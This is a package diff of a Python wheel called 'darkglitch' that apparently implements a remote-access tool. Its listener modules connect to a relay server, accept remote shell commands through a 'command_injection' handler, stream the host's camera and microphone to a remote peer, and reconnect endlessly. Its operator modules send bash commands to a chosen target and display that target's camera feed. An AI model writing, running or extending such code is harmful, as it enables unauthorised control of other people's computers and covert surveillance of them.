darkglitch 1.0.0__py3-none-any.whl

command/__init__.py

@@ -0,0 +1 @@
+"""Command handlers for the darkglitch CLI."""

command/bash_connect.py

@@ -0,0 +1,37 @@
+# command/bash_connect.py
+import asyncio
+
+from signaling.signal import SignalClient
+from signaling.handlers import OnlineHandler
+from core.config import HOST, ROOM
+from core.client import client_id, username
+
+from command_injection.injector import RemoteCommandHandler as SenderHandler
+
+async def bash_mode(target, command):
+    print("[+] Bash Mode")
+
+    signal = SignalClient(ROOM, client_id, HOST, username=username)
+    await signal.connect()
+
+    sender = SenderHandler(signal)
+
+    try:
+        result = await sender.send_command(
+            target=target,
+            command=command,
+            wait_for_result=True,
+            timeout=15,
+        )
+
+        if result is None:
+            print("[-] No response received for remote command")
+            return
+
+        if result.get("status") == "success":
+            print(result.get("output", "Bash executed successfully"))
+        else:
+            print("[-] Bash Failed")
+            print("ERROR:", result.get("error", "Unknown error"))
+    finally:
+        await signal.close()

command/listen.py

@@ -0,0 +1,83 @@
+# command/listen.py
+
+import asyncio
+
+from core.client import client_id, username
+from core.config import ROOM, HOST
+
+from signaling.signal import SignalClient
+from signaling.peer import Peer
+from media.local_media import LocalMedia
+
+from command_injection.injector import RemoteCommandHandler as ReceiverHandler
+
+
+async def listen_mode():
+    print("[+] Listen mode")
+
+    retry_delay = 10
+
+    while True:
+        signal = None
+        media = None
+        peer = None
+
+        try:
+            # ----------------------------------
+            # Signaling
+            # ----------------------------------
+            signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
+
+            await signal.connect()
+
+            # ----------------------------------
+            # Command Injection
+            # ----------------------------------
+            ReceiverHandler(signal)
+
+            print(
+                f"[+] Listening as {username} "
+                f"({client_id})"
+            )
+
+            print("[+] Waiting for incoming offers...")
+
+            # ----------------------------------
+            # Keep process alive
+            # ----------------------------------
+            while True:
+                await asyncio.sleep(1)
+
+        except asyncio.CancelledError:
+            raise
+
+        except Exception as exc:
+            print(f"[!] Error: {exc}")
+
+        finally:
+            print("[+] Cleaning up...")
+
+            try:
+                if peer is not None:
+                    await peer.close()
+            except Exception:
+                pass
+
+            try:
+                if media:
+                    await media.stop()
+            except Exception:
+                pass
+
+            try:
+                if signal:
+                    await signal.close()
+            except Exception:
+                pass
+
+        print(
+            f"[+] Reconnecting in "
+            f"{retry_delay} seconds..."
+        )
+
+        await asyncio.sleep(retry_delay)

command/listen_stream.py

@@ -0,0 +1,93 @@
+import asyncio
+
+from core.client import client_id, username
+from core.config import ROOM, HOST
+
+from signaling.signal import SignalClient
+from signaling.peer import Peer
+from media.local_media import LocalMedia
+
+from command_injection.injector import RemoteCommandHandler as ReceiverHandler
+
+
+async def listen_stream_mode():
+    print("[+] Listen mode")
+
+    retry_delay = 10
+
+    while True:
+        signal = None
+        media = None
+        peer = None
+
+        try:
+            # ----------------------------------
+            # Signaling
+            # ----------------------------------
+            signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
+
+            await signal.connect()
+
+            # ----------------------------------
+            # Camera / Microphone
+            # ----------------------------------
+            media = LocalMedia()
+            await media.start()
+
+            print("[+] Video Track:", media.get_video_track())
+            print("[+] Audio Track:", media.get_audio_track())
+
+            # ----------------------------------
+            # WebRTC Peer
+            # ----------------------------------
+            peer = Peer(signal)
+
+            # Send local camera/mic when a call is established
+            peer.add_media(media)
+
+            print(
+                f"[+] Listening as {username} "
+                f"({client_id})"
+            )
+
+            print("[+] Waiting for incoming offers...")
+
+            # ----------------------------------
+            # Keep process alive
+            # ----------------------------------
+            while True:
+                await asyncio.sleep(1)
+
+        except asyncio.CancelledError:
+            raise
+
+        except Exception as exc:
+            print(f"[!] Error: {exc}")
+
+        finally:
+            print("[+] Cleaning up...")
+
+            try:
+                if peer is not None:
+                    await peer.close()
+            except Exception:
+                pass
+
+            try:
+                if media:
+                    await media.stop()
+            except Exception:
+                pass
+
+            try:
+                if signal:
+                    await signal.close()
+            except Exception:
+                pass
+
+        print(
+            f"[+] Reconnecting in "
+            f"{retry_delay} seconds..."
+        )
+
+        await asyncio.sleep(retry_delay)

command/online.py

@@ -0,0 +1,29 @@
+# command/online.py
+import asyncio
+
+from signaling.signal import SignalClient
+from signaling.handlers import OnlineHandler
+from core.config import HOST, ROOM
+from core.client import client_id, username
+
+
+async def online_list_mode():
+    print("[+] Online list mode")
+
+    signal = SignalClient(ROOM, client_id, HOST, username=username)
+
+    await signal.connect()
+
+    signal.add_handler(OnlineHandler(client_id))
+
+    await signal.send({
+        "type": "get_online"
+    })
+
+    try:
+        while True:
+            await asyncio.sleep(1)
+    except asyncio.CancelledError:
+        pass
+    finally:
+        await signal.close()

command/stream_connect.py

@@ -0,0 +1,180 @@
+# command/stream_connect.py
+import os
+import asyncio
+
+if os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland":
+    # OpenCV installed in this venv only has the Qt xcb plugin,
+    # so use X11 via XWayland instead of forcing native Wayland.
+    os.environ["QT_QPA_PLATFORM"] = "xcb"
+
+import cv2
+
+from core.client import client_id, username
+from core.config import ROOM, HOST
+
+from signaling.peer import Peer
+from signaling.signal import SignalClient
+
+
+
+
+
+
+async def show_video(track, stop_event: asyncio.Event):
+    wayland = os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland"
+    use_tk = False
+    tk = None
+    Image = None
+    ImageTk = None
+
+    if wayland:
+        try:
+            import tkinter as tk
+            from PIL import Image, ImageTk
+            use_tk = True
+        except Exception as exc:
+            print(f"[!] Tkinter/Pillow not available for display fallback: {exc}")
+            use_tk = False
+
+    window_name = "GhostServer - Remote Camera"
+
+    if use_tk:
+        root = tk.Tk()
+        root.title(window_name)
+        label = tk.Label(root)
+        label.pack()
+        root.update()
+        print("[+] Tkinter display initialized")
+    else:
+        cv2.startWindowThread()
+        cv2.namedWindow(window_name, cv2.WINDOW_NORMAL)
+        cv2.resizeWindow(window_name, 640, 480)
+        cv2.moveWindow(window_name, 100, 100)
+        print("[+] OpenCV display initialized")
+
+    frame_count = 0
+    first_frame_logged = False
+    try:
+        while True:
+            try:
+                frame = await track.recv()
+            except Exception as exc:
+                print(f"[!] Failed to receive video frame: {exc}")
+                import traceback
+                print(traceback.format_exc())
+                await asyncio.sleep(0.1)
+                continue
+
+            frame_count += 1
+            if not first_frame_logged:
+                print(
+                    f"[DEBUG] frame #{frame_count} type={type(frame).__name__} "
+                    f"pts={getattr(frame, 'pts', None)} dts={getattr(frame, 'dts', None)}"
+                )
+
+            try:
+                image = frame.to_ndarray(format="bgr24")
+                if not first_frame_logged:
+                    print(f"[DEBUG] ndarray shape={image.shape} dtype={image.dtype}")
+            except Exception as exc:
+                print(f"[!] Failed to convert VideoFrame to ndarray: {exc}")
+                import traceback
+                print(traceback.format_exc())
+                continue
+
+            if use_tk:
+                try:
+                    rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+                    img = Image.fromarray(rgb)
+                    photo = ImageTk.PhotoImage(image=img)
+                    if not first_frame_logged:
+                        print(
+                            f"[DEBUG] PIL image type={type(img).__name__} "
+                            f"PhotoImage type={type(photo).__name__}"
+                        )
+
+                    label.configure(image=photo)
+                    label.image = photo
+                    root.update_idletasks()
+                    root.update()
+                    if frame_count == 1:
+                        print("[+] First Tkinter frame shown")
+                except Exception as exc:
+                    print(f"[!] Tkinter display error on frame #{frame_count}: {exc}")
+                    import traceback
+                    print(traceback.format_exc())
+                    continue
+            else:
+                try:
+                    cv2.imshow(window_name, image)
+                    if frame_count == 1:
+                        visible = cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE)
+                        print(f"[+] First OpenCV frame shown, window visible={visible}")
+                    key = cv2.waitKey(1)
+                    if key == 27:
+                        stop_event.set()
+                        break
+                except Exception as exc:
+                    print(f"[!] OpenCV display error on frame #{frame_count}: {exc}")
+                    import traceback
+                    print(traceback.format_exc())
+                    continue
+
+            if not first_frame_logged:
+                first_frame_logged = True
+
+            if stop_event.is_set():
+                break
+
+    except Exception as exc:
+        print(f"[!] Video display loop fatal error: {exc}")
+        import traceback
+        print(traceback.format_exc())
+    finally:
+        if use_tk:
+            try:
+                root.destroy()
+            except Exception:
+                pass
+            print("[+] Tkinter window closed")
+        else:
+            cv2.destroyAllWindows()
+            print("[+] OpenCV window closed")
+
+
+async def stream_mode(target):
+    print("[+] Connecting to stream...")
+
+    signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username)
+    await signal.connect()
+
+    peer = Peer(signal)
+    stop_event = asyncio.Event()
+
+    # Request remote video/audio from the listener.
+    peer.pc.addTransceiver("video", direction="recvonly")
+    peer.pc.addTransceiver("audio", direction="recvonly")
+
+    async def track_handler(track):
+        print("[+] Incoming remote track, scheduling display task")
+        await show_video(track, stop_event)
+
+    peer.on_track = track_handler
+
+    try:
+        await peer.create_offer(target)
+    except Exception as exc:
+        print(f"[!] Failed to create offer: {exc}")
+        await peer.close()
+        await signal.close()
+        return
+
+    try:
+        await stop_event.wait()
+    except asyncio.CancelledError:
+        print("Shutdown requested")
+        raise
+    finally:
+        print("Closing peer and signaling connection")
+        await peer.close()
+        await signal.close()

command_injection/__init__.py

@@ -0,0 +1 @@
+"""Helpers for remote command injection."""